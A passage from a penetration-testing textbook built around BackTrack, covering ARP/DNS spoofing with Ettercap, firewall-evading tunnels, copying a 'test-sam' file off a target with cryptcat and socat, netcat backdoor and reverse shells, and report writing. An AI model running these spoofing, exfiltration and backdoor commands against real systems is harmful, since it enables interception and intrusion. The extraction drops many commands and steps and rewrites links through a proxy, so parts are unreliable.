In the preceding screenshot, we only want to see the ICMP packets, so we put icmp
in the display filter.
If you want to customize your capture, you can change the options from the menu
Capture | Options or select the Capture Options in the Wireshark home page.
• Network interface.
• Buffer size: By default it is 1MB.
• Packet limitation (in bytes): In default options there is no limitation.
• Capture filter to be used: Default value is not using any capture filters.
• If you want to save the captured data you need to set the output file in the
Capture File(s) section.
[ 297 ]
Privilege Escalation
• Stop Capture section is used to define the condition when your capture
process will be stopped. It can be set based on the number of packet, packet
size, and capture duration.
• In the Name Resolution section you can define whether Wireshark will do
the name resolution for MAC, network name, and transport name.
Arpspoof
Arpspoof is useful to sniff network traffic in a switch environment. In the previous
chapter it is stated that sniffing network traffic in a switch environment is hard, but
by using arpspoof, it is possible.
[ 298 ]
Chapter 10
If an attacker C wants to sniff the network traffic of A, it needs to send the ARP
replies to A telling it that the IP address of B now has the MAC address of C.
Attacker C can also spoof the ARP cache of B.
After the ARP spoofing works, all the network traffic of A will be going through C
first.
Before you can use arpspoof, you need to enable the IP Forwarding feature in your
machine. This can be done by giving the following command as root:
# echo 1 > /proc/sys/net/ipv4/ip_forward
To start the arpspoof command-line, use the console to execute the following
command:
# arpspoof
[ 299 ]
Privilege Escalation
On the victim machine, wait for some time and try to make a connection to the
gateway by doing a ping to gateway. Later on the victim ARP cache will be changed.
Interface: 192.168.65.129 --- 0x30002
Internet Address Physical Address Type
192.168.65.1 00-0c-29-09-22-31 dynamic
You will notice that the MAC address of the gateway machine has been changed to
the attacker machine's MAC address.
Ettercap
Ettercap is a suite of tools for a man in the middle attack on LAN. It will perform
attacks on the ARP protocol by positioning itself as the man in the middle. Once it
achieves this, it is able to do the following:
[ 300 ]
Chapter 10
The ARP attack works when a machine asks for others to find the MAC address
associated with an IP address. The attacker then answers this request by sending its
own MAC address. This attack is called ARP poisoning or ARP spoofing. This attack
will work if the attacker and the victim are located in the same network.
Ettercap comes with three modes of operation: Text mode, Curses mode, and
graphical mode using GTK.
To start ettercap in Text mode use the console to execute the following command:
# ettercap -T
In our exercise, we will use Ettercap to do a DNS spoofing attack. The machines
configuration is the same as the previous section, but we will have two additional
machines: DNS server with the IP address of 192.168.65.2 that wants to be spoofed
and the web server located in the attacker IP address, 192.168.65.131, to receive all of
the HTTP traffic. The steps taken to do the spoofing are:
[ 301 ]
Privilege Escalation
6. Start the ARP poisoning by choosing Mitm | Arp poisoning. After that the
MAC address of DNS server and victim will be set to the attackers MAC
address.
[ 302 ]
Chapter 10
From the preceding screenshot we can see that the DNS spoofing works.
Instead of seeing the Microsoft website, the victim is redirected to the
attacker web server.
4. To stop the spoofing, go to Mitm | Stop mitm attack(s).
[ 303 ]
Privilege Escalation
If you feel that doing this in graphical mode is too cumbersome, you don't need to
worry. Ettercap in text mode can also do this in a much simpler way. Here is the
command to do the same DNS spoofing:
# ettercap -i eth0 -T -q -P dns_spoof -M ARP /192.168.65.2/
/192.168.65.129/
It is much more simpler if you know the command and options. To quit from the text
mode, just press q.
Summary
In this chapter, we discussed how to escalate our privilege, and how to do network
sniffing and spoofing. The purpose of the tools mentioned in this chapter is to get the
highest access possible by elevating the privilege. Sniffing and spoofing can also be
used to leverage access into a broader area, or to gain access into another machine
within the network or outside the network, which probably contains more valuable
information.
We start with attacking the password. There are two methods that can be used:
offline attack and online attack. Most of the tools in an offline attack utilize rainbow
tables to speed up the attack process, but it needs a large hard disk space. Offline
attack has the advantage that it can be done at your own leisure without triggering
the account lockout. In online attack you will see the result immediately, but you
need to be careful about the account being lockout. We then discussed several tools
that can be used to sniff the network traffic. If you don't use encryption, then all of
your network data can be seen by these tools. In last part of this chapter, we looked
at several tools that can be used to do spoofing attacks. While the sniffer is a passive
tool, spoofer is an active tool, because it sends something to your network.
In the next chapter, we will talk about how to maintain the access we have attained.
[ 304 ]
Maintaining Access
In the previous chapter we talked about escalating the privilege to access the target
machine. This chapter will conclude the penetration testing process by leaving the
target machines open to get back access at any time.
The main purpose of these tools is to help us maintain access, bypass the filters
deployed on the target machine, or allow us to create a covert connection between
our machine and the target. By maintaining this access, we don't need to do the
whole penetration testing process again if we want to get back to the target machine
at anytime.
Let's see several of the tools for maintaining our access on the target machine.
Protocol tunneling
Tunneling can be defined as a method to encapsulate a protocol inside another
protocol. In our case, we use tunneling to bypass the protection provided by the
target system. Most of the time, the target system will have a firewall that blocks
connections to the outside world, except for a few common network protocols such
as HTTP and HTTPS. For this situation, we can use tunneling to wrap our packets
inside the HTTP protocol. The firewall will allow these packets to go to the outside
world.
BackTrack comes with various kinds of tunneling tools that can be used to tunnel
one protocol inside the other protocol. In this section we will discuss several of them.
Maintaining Access
DNS2tcp
DNS2tcp is a tunneling tool to encapsulate TCP traffic in DNS traffic. When it
receives connection in a specific port, all of the TCP traffic is sent to the remote
dns2tcpd server in DNS traffic and forwarded to a specific host and port.
DNS2tcp is a client-server program. The client side is called dns2tcpc, while the
server side is called dns2tcpd.
If you want to use the DNS2tcp client, you need to execute the following command
from the console:
# dns2tcpc
Before you are able to use DNS2tcp you need to create an NS record pointing to
DNS2tcp server public IP address. I recommend creating a subdomain, such as
dnstunnel.myexample.com for DNS2tcp application.
To be able to use this tool, you need to configure the DNS2tcp server first. By default
the DNS2tcp server will look for file .dns2tcprcd as the configuration file in your
directory. Here is an example of the DNS2tcp server configuration file:
listen = 0.0.0.0
port = 53
user = nobody
chroot = /tmp
domain = dnstunnel.myexample.com
resources = ssh:127.0.0.1:22
After creating the configuration file, you need to start the DNS2tcp server by giving
the following command:
# dns2tcpd -F -d 1 -c /etc/dns2tcpd.conf
[ 306 ]
Chapter 11
In the client machine, you also need to configure the DNS2tcp client. Here is an
example of that configuration:
domain = dnstunnel.myexample.com
ressource = ssh
local_port = 2222
debug_level=1
Save the configuration to file /etc/dns2tcpc.conf. You can also save it to file
.dns2tcprc so you will not need to give the configuration parameter when calling
the dns2tcpc command.
To check whether we can communicate with the server, you can issue the following
command:
# dns2tcpc -z dnstunnel.myexample.com <your_dns_server>
If there are no errors you can start the tunnel by issuing the following command:
# dns2tcpc -c -f /etc/dns2tcpc.conf
Although you can send any packets through the DNS tunnel, be aware
that the tunnel is not encrypted, so you may need to send encrypted
packets through it.
Ptunnel
Ptunnel is a tool that can be used to tunnel TCP connections over ICMP echo request
(ping request) and reply (ping reply) packets. This tool will be useful if you are
allowed to ping any computer on the Internet, but you can't send TCP and UDP
packets to the Internet. With Ptunnel you can overcome that limitation, so you can
access your e-mail, browse the Internet and any other things that require TCP or
UDP connections.
This will display a simple usage instruction and example on your screen.
[ 307 ]
Maintaining Access
To use Ptunnel you need to setup a proxy server with Ptunnel installed, and this
server should be available to the client. If you want to use the Ptunnel from the
Internet, you need to configure Ptunnel server using the IP address which can be
accessed from the Internet.
After that you can start the Ptunnel server by issuing the following command:
# ptunnel
Then start your SSH program to connect to the ssh.example.org using ptunnel:
# ssh localhost -p 2222
You will need to supply the correct username and password to login to the SSH server.
Stunnel4
Stunnel4 is a tool to encrypt any TCP protocols inside the SSL packets between
local and remote servers. It allows you to add SSL functionality to non-SSL aware
protocol, such as Samba, POP3, IMAP, SMTP, and HTTP. This process can be done
without changing the source code of those softwares.
If you want to display the configuration file help, you can pass the -help option:
# stunnel4 -help
[ 308 ]
Chapter 11
BackTrack also comes with Stunnel version 3. The difference with Stunnel
version 4 is that the version 4 uses a configuration file. If you want to run
the version 3 style command-line arguments, you can call the command
stunnel or stunnel3 with all of the needed arguments.
For our example, let's use Stunnel4 to encrypt the MySQL connection between two
hosts (server and client).
2. Follow up the on-screen guidance. You are asked to enter some fields, such
as Country Name, Province Name, Common Name, E-mail Address, and so
on.
3. The key and certificate will be stored in the stunnel.pem file in the /etc/
stunnel directory.
4. Configure Stunnel4 to listen for secure connections on port 3307 and forward
the network traffic to the original MySQL port (3306) on localhost:
cert = /etc/stunnel/stunnel.pem
[mysqls]
accept = 3307
connect = 3306
[ 309 ]
Maintaining Access
1. Configure Stunnel4 to listen for secure connections on port 3307 and forward
the network traffic to the MySQL port (3307) on the server :
client = yes
[mysqls]
accept = 3306
connect = 10.0.2.15:3307
When I sniff the network traffic using Wireshark, I can only see the following:
It looks like the network traffic is not in plain text format anymore.
[ 310 ]
Chapter 11
The following screenshot is what the traffic looks like when there is no encryption
(plain text format):
We can find out a lot of information about the remote server database by monitoring
the network traffic.
Proxy
BackTrack also comes with several tools that can be used as a proxy. A proxy works
as a middleman between two machines. When one machine wants to connect to the
other machine, it only needs to connect to the proxy, and then the proxy connects to
the other machine. Those two machines are not connected directly. The proxy can
manage the connections between the two machines and itself.
3proxy
3proxy is a tiny proxy server. It supports the following proxies:
3proxy can be used to provide the internal user with access to external resources or
to provide external users with access to internal resources.
[ 311 ]
Maintaining Access
This will display several files located in the directory. The file of interest is 3proxy.
In our exercise, we are going to allow remote users to access our internal web server
using the default HTTP port.
The 3proxy is installed in a BackTrack machine which has two network addresses,
the internal IP address of 10.0.2.1 and the external IP address of 192.168.65.1. Our
internal web server is located in 10.0.2.10.
3proxy is listening on IP address 192.168.65.1 port 80. When external users connect
to the web server at 192.168.65.1 port 80, they are actually accessing the web server
located in the internal IP address of 10.0.2.10 port 80.
Proxychains
Proxychains is a program that can be used to force any TCP connections made by
any given TCP clients to go through proxy (or proxy chain).
As of version 3.1, it supports SOCKS4, SOCKS5 and HTTP CONNECT proxy servers.
• When the only way to get "outside" from your LAN is through proxy server
• To access the Internet from behind a restrictive firewall that filters outgoing
ports
• To use two (or more) proxies in a chain
• Run any programs with no proxy support built-in (such as telnet, wget,
ftp,vnc, nmap)
[ 312 ]
Chapter 11
In our exercise we want to use cryptcat in proxychains, the command to do that task is:
# proxychains cryptcat -l -p 80 -n < test-sam
The cryptcat command will be proxied through the proxy server defined in the
proxychains configuration file.
End-to-end connection
The tools in this category can be used to create a network connection between a client
and a server machine. By using this tool, we don't need to install and configure a
complex network software as a server and client. These tools are particularly useful
to transfer files from a remote server and run commands in the remote server.
Let's see several tools in BackTrack that can be used as an end-to-end connection.
CryptCat
CryptCat can be used to connect or listen to a socket. In simple terms, it can be used
to act as a client or server to a network service.
For example, if you want to set up a simple web server to listen to port 80 and send
the packets to the client that connects to it, you can use CryptCat for that purpose
instead of using the real web server.
CryptCat will encrypt all of the data sent over the connection. By default the
encryption key is "metallica", but you can change that by giving the option -k.
[ 313 ]
Maintaining Access
This will display a simple usage instruction on your screen. In our exercise, we are
going to send a file (test-sam) from the target server (10.0.2.15) to our machine
(10.0.2.100).
When I sniff the network traffic using Wireshark, I can only get the following garbled
information:
Sbd
Sbd can be used just like CryptCat. However, it has several differences when
compared to CryptCat:
[ 314 ]
Chapter 11
This will display a simple usage instruction on your screen. Let's do the exercise as
seen in the CryptCat section.
We will be able to get the test-sam file from the target machine to our machine.
Socat
Socat is a tool that establishes two bidirectional streams and transfers data between
them. The stream can be a combination of the following address types:
• A file
• A program
• A file descriptor (STDERR, STDIN, STDIO, STDOUT)
• A socket (IPv4, IPv6, SSL, TCP, UDP, UNIX)
• A device (network card, serial line, TUN/TAP)
• A pipe
For each stream, parameters can be added (locking mode, user, group, permissions,
address, port, speed, permissions, owners, cipher, key, and so on).
[ 315 ]
Maintaining Access
According to the socat manual, the socat instance life cycle typically consists of the
following four phases:
• In the first phase (init), the command line options are parsed and logging is
initialized.
• In the second phase (open), socat opens the first and the second address.
• In the third phase (transfer), socat watches both stream's read and write
file descriptors via select(). When the data is available on one side and
can be written to the other side, socat reads it, performs newline character
conversions if required, and writes the data to the write file descriptor of the
other stream, and then continues waiting for more data in both directions.
• When one of the streams effectively reaches EOF, the closing phase begins.
Socat transfers the EOF condition to the other stream. Socat continues to
transfer data in the other direction for a particular time, but then closes all
remaining channels and terminates.
This will display command line options and available address types on your screen.
Here are several common address types with their keywords and parameters :
[ 316 ]
Chapter 11
[ 317 ]
Maintaining Access
• Then the HTTP server will reply with the following information:
It will listen on port 12345 and will create file thepass if it doesn't exist yet,
or just append if it already exists.
While in the 10.0.2.15 (sender), type the following command:
# cat test-sam | socat – TCP4:10.0.2.100:12345
Later on we check on the recipient to see whether the file is created using the
ls command:
We can see that the file has been transferred and created on the recipient machine.
[ 318 ]
Chapter 11
Summary
In this chapter, we discussed the protocol tunneling tools that can wrap one
network protocol to the other. The goal of this protocol tunneling is to bypass any
mechanisms enacted by the target machine to limit our capabilities to connect to the
outside world. The tools in this category are DNS2tcp, Ptunnel, and Stunnel4.
The next tools are proxies. They are used to separate the direct connection between
one machine and the other machine. The tools in this category are 3proxy and
proxychains.
The main purpose of all of the tools in this chapter is that we will be able to maintain
our access in the target machine as long as possible without being detected.
In the next chapter, will discuss documenting, reporting, and presenting the
vulnerabilities found to the relevant parties.
[ 319 ]
Documentation and
Reporting
Keeping track of your assessment results is one of the most important aspects of
penetration testing methodology. Recording every single input and output from
BackTrack testing tools and verifying individual test results before being presented
to the relevant authority (for example, ABC Company Inc) is the key towards
successful and solid professionalism. This practice is considerably important
from an ethical standpoint and provides an open view for understanding the
penetration tester's experience with target security evaluation. Documentation,
report preparation, and presentation are some of many core areas which must be
addressed in a systematic, structured, and consistent manner. In this chapter, we
will cover these topics with detailed instructions that may assist you in aligning your
documentation and reporting strategy.
All of these sections provide a strong basis for preparing documentation, reporting,
and presentation, and especially highlight their role in a due diligence area. A small
mistake can often lead to a legal problem. The report that you create must show
consistency with your findings, and should do more than just point out the potential
weaknesses found in a target environment. For instance, it should be well-prepared
and demonstrate a proof of support against known compliance requirements, if any,
required by your client. Additionally, it should clearly state the attacker's modus
operandi, applied tools and techniques, list discovered vulnerabilities and verified
exploitation methods. Most of the time it is about focusing on the weaknesses rather
than explaining a fact or procedure you used to discover them.
• Take a detailed note of each selective step that you have taken during the
information gathering, discovery, enumeration, vulnerability mapping, social
engineering, exploitation, privilege escalation, and persistent access phase of
the penetration testing process.
• It is common practice to make a note-taking template for every single tool
you executed against your target from BackTrack. The template should
clearly state its purpose, execution options, and profiles aligned for the target
assessment, and provide space for recording the respective test results. It is
also essential to repeat the exercise (at least twice) before drawing the final
conclusion from a particular tool. In this way you certify and test-proof your
results against any unforeseen condition. For instance, while using Nmap for
the purpose of port scanning, we should layout our template with necessary
sections such as usage purpose, target host, execution options and profiles
(Service detection, OS type, MAC address, Open ports, Device type, and so
on) and document the output results accordingly.
[ 322 ]
Chapter 12
Types of reports
After constituting every single piece of verified test results, it is now time to combine
them into a systematic and structured report before submitting it to the target
stakeholder. There are three different types of reports; each has its own schema
and layout relevant to the interests of a business entity involved in the penetration
testing project. These reports are prepared according to their level of understanding
and ability to grasp the information conveyed by the penetration tester. We have
detailed each report type and its reporting structure with basic elements that may
be necessary to accomplish your goal. It is important to note that all of these reports
should a bind non-disclosure policy, legal notice, and penetration testing agreement
before handed to the stakeholders.
Executive report
This kind of assessment report is shorter and more concise to point high-level view
of penetration testing output from a business strategic perspective. The report is
prepared for "C" level executives within a target organization (CEO, CTO, CIO, and
so on). It must be geared with some basic elements discussed below:
• Project Objective defines mutually agreed criteria for penetration testing
project between you and your client.
• Vulnerability Risk Classification section explains the risk levels (Critical,
High, Medium, Low, and Informational) used in the report. These levels
should clearly differentiate and highlight the technical security exposure in
terms of severity.
• Executive Summary briefly describes the purpose and goal of the penetration
testing assignment under the defined methodology. It also highlights the
number of vulnerabilities discovered and exploited successfully.
• Statistics are the tabular form of the vulnerabilities discovered in the target
network infrastructure. These can also be drawn in the form of a pie chart or
in any other interactive format.
[ 323 ]
Documentation and Reporting
Management report
The management report is generally designed to cover issues including regulatory
and compliance measurement in terms of target security posture. Practically it
should extend the executive report with a number of sections that may interest
HR (Human Resource) and other management people, and assist in their legal
proceedings. Following are the key parts that may provide you valuable grounds
for the creation of such a report:
[ 324 ]
Chapter 12
Technical report
The technical assessment report plays a very important role in addressing the
security issues raised during the penetration testing engagement. This kind of report
is generally developed for techies who want to hook their brains understanding the
core security features handled by the target system—what features are vulnerable,
how they can be exploited, what business impact they could bring, and how resistant
solutions can be developed to thwart any visible threats. It has to communicate
with all-in-one secure guidelines for protecting network infrastructure. So far
we have already discussed the basic elements of the executive and management
reports. In the technical report, we extend these elements and include some special
themes which may draw substantial interests for the technical team at the target
organization. Sections such as project objectives, vulnerability risk classification,
risk-matrix, statistics, testing methodology, assumptions, and limitations are also
sometimes a part of the technical report.
• Security Issues raised during the penetration testing should be clearly cited
in detail, such that for each applied attack method you must mention the list
of affected resources, its implications, original request and response data,
simulated attack request and response data, provide reference to external
sources for the remediation team, and give professional recommendations to
fix the discovered vulnerabilities in the target IT environment.
• Vulnerabilities Map provides a list of discovered vulnerabilities found in the
target infrastructure. Each of which should be listed parallel to the resource
identifier (for example, IP address, Target Name).
• Exploits Map provides a list of successfully checked and verified exploits
that worked against the target. It is also crucial to mention whether the
exploit was private or public.
[ 325 ]
Documentation and Reporting
Generally speaking, the technical report is the one which brings the ground realities
forward to the associative members of the organization concerned. As it combines
the power to represent deep orientation of the current security posture, it plays a
significant role in the risk management process.
Table of Contents
1. Legal Notice
2. Penetration Testing Agreement
3. Introduction
4. Project Objective
5. Assumptions and Limitations
6. Vulnerability Risk Scale
7. Executive Summary
8. Risk Matrix
9. Testing Methodology
10. Security Threats
11. Recommendations
12. Vulnerabilities Map
[ 326 ]
Chapter 12
As you can see, we have mutually combined all types of reports into one single
"full report" with a definitive structure. Each of these sections can have its own
relevant sub-sections which can better categorize the test results in greater detail. For
instance, the annexes section can be used to list the technical details and analysis of
a test process, logs of activities, raw data from various security tools, details of the
research conducted, references to Internet sources, and glossary. Depending on the
type of report being requested by your client, it is solely your duty to understand the
importance and value of your position before beginning a penetration test.
Presentation
Before you start writing a report, it is fairly necessary to understand the technical
capabilities and goals of your audience in order to accomplish a successful
presentation. The reality of this industry is that there are not many people with true
technical knowledge and skills, so you have to tweak the material according to your
audience or otherwise you will face a negative reaction. Your key task is to make your
client understand the potential risk factors surrounding their network infrastructure.
For instance, the people at executive level do not care about the details of a social
engineering attack vector but they are interested in knowing the current state of
security and what remediation measures should be taken. It is also a good objective to
back your findings with legal matters (for example, PCI-DSS compliance) in order to
reflect the necessary measures required in terms of a regulatory framework.
On the other hand, a slide-based presentation with live simulations explaining the
executive summary plays an ultimate role in proving your findings. The point is to
show the attack paths you have taken to exploit the target, which is quite necessary
for the technical or remediation team. The simulation must remain consistent with
all the steps you documented earlier in your report. Although there is no formal
procedure to create and present your findings, you should keep a professional
outlook to make the best of your technical and non-technical audiences. It is also a
part of your duty to understand the target environment and its group of techies by
gauging their skill level and making them know you well, as much as any key asset
to the organization.
[ 327 ]
Documentation and Reporting
Pointing out the deficiencies in the current security posture and exposing the
weaknesses without emotional attachment can lead to a successful and professional
presentation. Remember you are there to stick with your facts and findings, prove
them technically, and advise the remediation team accordingly. Since this is a kind of
face-to-face exercise, it is highly advisable to prepare yourself in advance to answer
questions supporting the facts and figures.
• Revisit the network design and check for exploitable conditions at vulnerable
resources pointed in the report.
• Concentrate on edge-level protection schemes to reduce the number of
security threats before they strike with backend servers or workstations
simultaneously.
• Client-side or social engineering attacks are merely impossible to
resist but can be thwarted by training the staff members with the latest
countermeasures and awareness.
• Fixing the system security as per the recommendations provided by the
penetration tester may require additional investigation to ensure that any
change in a system should not affect its functional characteristics.
• Deploy verified and trusted third-party solutions (IDS/IPS, Firewalls,
Content Protection Systems, Antivirus, IAM technology, and so on) where
necessary, and tune the engine to work securely and efficiently.
• Use the divide and conquer approach to the separate secure network zone
from insecure or public facing entities on the target infrastructure.
• Strengthen the hands of developers in coding secure applications which
are a part of the target IT environment. Assessing application security
and performing code audits occasionally can bring valuable return to
the organization.
[ 328 ]
Chapter 12
Summary
In this chapter we have explored some basic steps necessary to create the penetration
testing report and discussed the core aspects of doing a presentation in front of
the client. At first, we fairly explained the ways to document your results from
individual tools and suggested not relying on a single tool output. As such, your
experience and knowledge counts for verifying the test results before being
documented. Afterwards, we shed light on creating different types of reports with
their documentation structures. These reports mainly focus on executive, managerial,
and technical aspects of a security audit we carried out for our client. Additionally,
we also provided a sample table of contents for a network-based penetration testing
report to give you a basic idea for writing your own report. Thereafter, we discussed
the value of live presentation and simulations to prove your findings, and how you
should understand and convince your audiences from different backgrounds.
Finally, we have provided a generic list of post testing procedures which can be a
part of your remediation measures or recommendations to your client. This section
provides a clear view of how you assist the target organization in the remediation
process, being an advisor to their technical team or remediate yourself.
[ 329 ]
PART III
Extra
Ammunition
Supplementary Tools
Key Resources
Supplementary Tools
This appendix will present several additional tools that can be used as extra weapons
while conducting the penetration testing process. For each tool we will describe:
The tools mentioned are not installed by default in BackTrack. You need to install it
by yourself from the BackTrack repository or from the the tools website.
• Vulnerability scanner
• Web application fingerprinter
• Network ballista tool
Let's see several additional tools we can use during our penetration testing process.
Vulnerability scanner
BackTrack by default comes with OpenVAS as the vulnerability scanner. As
a penetration tester we can't rely only on one tool, we have to use several tools
to give us a more thorough and complete picture of the target environment.
NeXpose installation
Lets install NeXpose Community Edition in BackTrack.
[ 334 ]
Appendix A
• If the command returns "OK" you can continue to the next step. If not, you
may need to download the installer again.
• Change the installer permission to make it executable:
chmod +x NeXposeSetup-Linux32.bin
The start up process will takes several minutes because NeXpose is initializing its
vulnerabilities database. After this process is finished you can log on to the NeXpose
Security Console web interface as explained in the Login to NeXpose community
section.
If you want to install NeXpose as a daemon, you can start it automatically when the
machine starts, and it will continue running if the current process user logs off, you
can do that by giving the following commands:
• Open the file and make sure that the line containing NXP_ROOT is set to the
NeXpose installation directory
[ 335 ]
Supplementary Tools
• Copy that file to the /etc/init.d directory and give it the desired daemon
name, such as nexpose:
# cp [installation_directory]/nsc/nexposeconsole.rc /etc/init.d/
nexpose
• You can start, stop, or restart the daemon by giving the corresponding
command:
# /etc/init.d/nexpose <start|stop|restart>
• In the NeXpose Dashboard, click on Home. To create the site you want to
scan, click on New Site in the Site Listing.
• In the Site Configuration | General tab give a name to the site, its
importance, and description.
[ 336 ]
Appendix A
• Next, define the IP addresses you want to scan. Please bear in mind that the
NeXpose Community version limits the number of IP addresses to scan to 32
addresses. Here we will only scan two IP addresses, they are 192.168.65.1 and
192.168.65.131.
• Then you need to configure the Scan Template. As an example just use "Full
audit" as the template.
• After saving the configuration, you will see the newly created site in the Site
Listing. A manual scan can be run by clicking on the Play icon.
The following screenshot is the vulnerabilities report for all of the IP addresses scanned:
To see a detailed report for IP address 192.168.65.1, just click on the IP address. Here
is the report about services that are listening on the target machine:
This is a very brief overview of the NeXpose Community Edition. In the next section
we will see two web application fingerprinters.
[ 337 ]
Supplementary Tools
WhatWeb
WhatWeb is a web application fingerprinter. It will identify Content Management
Systems (CMS), blogging platforms, stats/analytics packages, JavaScript libraries,
servers, and other web application components used in a website.
The installer will display the following output and ask your confirmation:
The following NEW packages will be installed:
whatweb
0 upgraded, 1 newly installed, 0 to remove and 33 not upgraded.
Need to get 120kB of archives.
After this operation, 2982kB of additional disk space will be used.
WARNING: The following packages cannot be authenticated!
whatweb
Install these packages without verification [y/N]? y
If you answer y (Yes), it will download and install the software package.
[ 338 ]
Appendix A
Fortunately, to be able to use WhatWeb, you only need to give the URL of your
target website as the parameter. Later on, if you want to use a specific option,
you can choose the appropriate options.
As an example, to list the available plugins, you can give the following command:
# ./whatweb -l
From the preceding result, we get a lot of information regarding the target website
such as:
BlindElephant
BlindElephant is a web application fingerprint tool that attempts to discover the
version of a known web application by comparing the static files at known locations
against the precomputed hashes of those files in all available releases.
[ 339 ]
Supplementary Tools
Then you can install the Python using the following commands:
# tar xvjf Python-2.7.1.tar.bz2
# cd Python-2.7.1
# ./configure –prefix=/opt/python2.7.1
# make; make install
After that create a symbolic link to /usr/bin/python-2.7 from the new Python
binary:
# ln -s /opt/python-2.7.1/bin/python /usr/bin/python-2.7
To get the BlindElephant source code, you can do a checkout using subversion. We
will put this source code in the /pentest/enumeration/www directory:
# cd /pentest/enumeration/www
If the svn process is finished, there will be 3 directories (doc, src, tools) and 1 file
(README) downloaded.
Execute BlindElephant:
# python-2.7.1 BlindElephant.py
[ 340 ]
Appendix A
For our example, we will fingerprint a target website using wordpress as the plugin
name. Following is the command:
# python-2.7 BlindElephant.py target wordpress
Network Ballista
This section will describe a network tool that can be used for many purposes.
Sometimes this tool is called a Swiss-army knife for TCP/IP.
Netcat
Netcat is a simple utility that reads and writes data across network connections using
TCP or UDP protocol. By default it will use the TCP protocol. It can be used directly
or from other programs or scripts. Netcat is the predecessor of the tools we described
in chapter 11: cryptcat, sbd.
As a penetration tester, you need to know several Netcat usages. However, this tool
is small, portable, and powerful.
[ 341 ]
Supplementary Tools
We will describe several Netcat capabilities that can be used during your penetration
testing process.
Open connection
In its simplest use, Netcat can be used as an alternative for telnet, which is able to
connect to an arbitrary port on an IP address.
For example, to connect to an SSH server which has an IP address of 10.0.2.100, you
give the following command:
# nc 10.0.2.100 22
From the result above, we know the web server software and operating system used.
[ 342 ]
Appendix A
Simple server
In this example, we will create a simple server that is listening on port 1234 using the
following netcat command:
# nc -l -p 1234
Now you can connect to this server from another machine using telnet, Netcat, or a
similar program.
# telnet 10.0.2.15 1234
Any characters you type in the client will be displayed on the server. You have just
created a simple chat server.
File transfer
Using Netcat you can send a file from the client to the Netcat listener (push the file)
and vice versa (pull the file).
To send a file named thepass from the client to the Netcat listener, you give the
following command in the listener machine:
# nc -l -p 1234 > thepass.out
thepass file will be transferred to the listener machine and stored as file thepass.
out.
To send a file named thepass from the Netcat listener to the client, you give the
following command in the listener machine:
# nc -l -p 1234 < thepass
thepass file will be sent to the client machine and stored as file thepass.out.
[ 343 ]
Supplementary Tools
Portscanning
To scan for ports between 1-1000, using TCP protocol, with the following options
: verbose information (-v), without resolving DNS (-n), without sending any data
(-z), and the netcat will wait for no more than 1 second for a connection to occur
(-w 1), here is the Netcat commands:
# nc -n -v -z -w 1 10.0.2.100 1-1000
Although Netcat can be used as a portscanner, we suggest you use the appropriate
tool, such as Nmap, to do that process.
Backdoor Shell
We can use Netcat to create a backdoor in order to get a remote shell. For that
purpose we need to setup Netcat to listen to a particular port (-p), and define which
shell to use (-e). Following is the command:
# nc -e /bin/sh -l -p 1234
We setup Netcat in our server so it will open a shell when a client connects.
After the following information appears, you can type any Linux command on the
server. You need to add a character ";" to the end of the command. For example,
I want to list all files in the current directory on the server. I give the following
command:
# ls -al;
[ 344 ]
Appendix A
The result is displayed back on your screen. If you set the Netcat listener as root, then
you will be able to do anything to the machine. Please be aware that if the Netcat
network connection is not encrypted, anyone will be able to use this backdoor by
just connecting to the port.
Reverse shell
This method is the reverse of the previous scenario. In the previous scenario, our
server is opening a shell. In the reverse shell, we set the remote host to open a shell
to connect to our server. To fulfill this task, type the following command in our
machine:
# nc -n -v -l -p 1234
it means that the reverse shell has been established successfully. You can type any
commands from your server to be executed in the remote machine. As an example
we want to see the remote machine IP address. We type the following command:
# ip addr show
You can give any commands as long as it is supported by the remote machine
operating system.
[ 345 ]
Supplementary Tools
Summary
This appendix describes several additional tools that can be used for the penetration
testing job. Although those tools are not included in BackTrack, you can get and
install them easily as explained in this chapter. There are four tools described. They
are ranging from vulnerability scanner, web application fingerprinter, and network
ballista.
We started by describing the tools, how to install and configure it, and then
described their usages.
[ 346 ]
Key Resources
Bulletins: http://www.us-cert.gov/cas/techalerts/
• ISS X-Force offers security threat alerts, Advisories, and Whitepapers:
http://xforce.iss.net
• Debian security advisories, Mailing list:
http://www.debian.org/security/
• Mandriva Linux Security Advisories:
http://www.mandriva.com/security/
• SUSE Linux Enterprise Security Advisories:
http://www.novell.com/linux/security/advisories.html
• Microsoft Security Advisories:
http://www.microsoft.com/technet/security/advisory/default.mspx
• Microsoft Security Bulletins:
http://www.microsoft.com/technet/security/current.aspx
• Ubuntu Security Notices: http://www.ubuntu.com/usn
• FiRST Common Vulnerability Scoring System (CVSS-SIG):
http://www.first.org/cvss/
• Cisco Security Advisories and Notices: http://www.cisco.com/en/US/
products/products_security_advisories_listing.html
• Security Alerts Dashboard, Risk Rating Scores with CVSS,
Security Tools Watch, Whitepapers, Audit Frameworks:
http://www.security-database.com
• Keep Track of the Latest Vulnerabilities:
http://www.securitytracker.com/
• Australian CERT publishes Security Bulletins, Advisories, Alerts,
Presentations and Papers: http://www.auscert.org.au/
• Advisories, Vulnerability Database, PoC, Virus Reports:
http://en.securitylab.ru/
• Web Security Advisories: http://evuln.com/vulns/web-advisories.html
• Vulnerability Research, Publications, Advisories, Tools:
http://corelabs.coresecurity.com/
• Security Advisories, Case Studies, Media Publications:
http://www.htbridge.ch/
• Advisories, Research Papers: http://www.acrossecurity.com/
• Community Malicious Code Research and Analysis:
http://www.offensivecomputing.net/
[ 348 ]
Appendix B
[ 349 ]
Key Resources
Network ports
Assessing the network infrastructure for the identification of critical vulnerabilities
has always been a challenging and time consuming process. Thus, we have fine-
tuned a small list of known network ports with their respective services in order to
help penetration testers quickly map through potential vulnerable services (TCP/
UDP ports 1-65,535) using BackTrack tools. To get a complete and more up-to-date
list of all network ports, please visit http://www.iana.org/assignments/port-
numbers. However, you should also bear in mind that sometimes the applications
and services are configured to run on different ports than the default ones.
[ 350 ]
Appendix B
[ 351 ]
Key Resources
[ 352 ]
Appendix B
[ 353 ]
Key Resources
[ 354 ]
Appendix B
[ 355 ]
Index
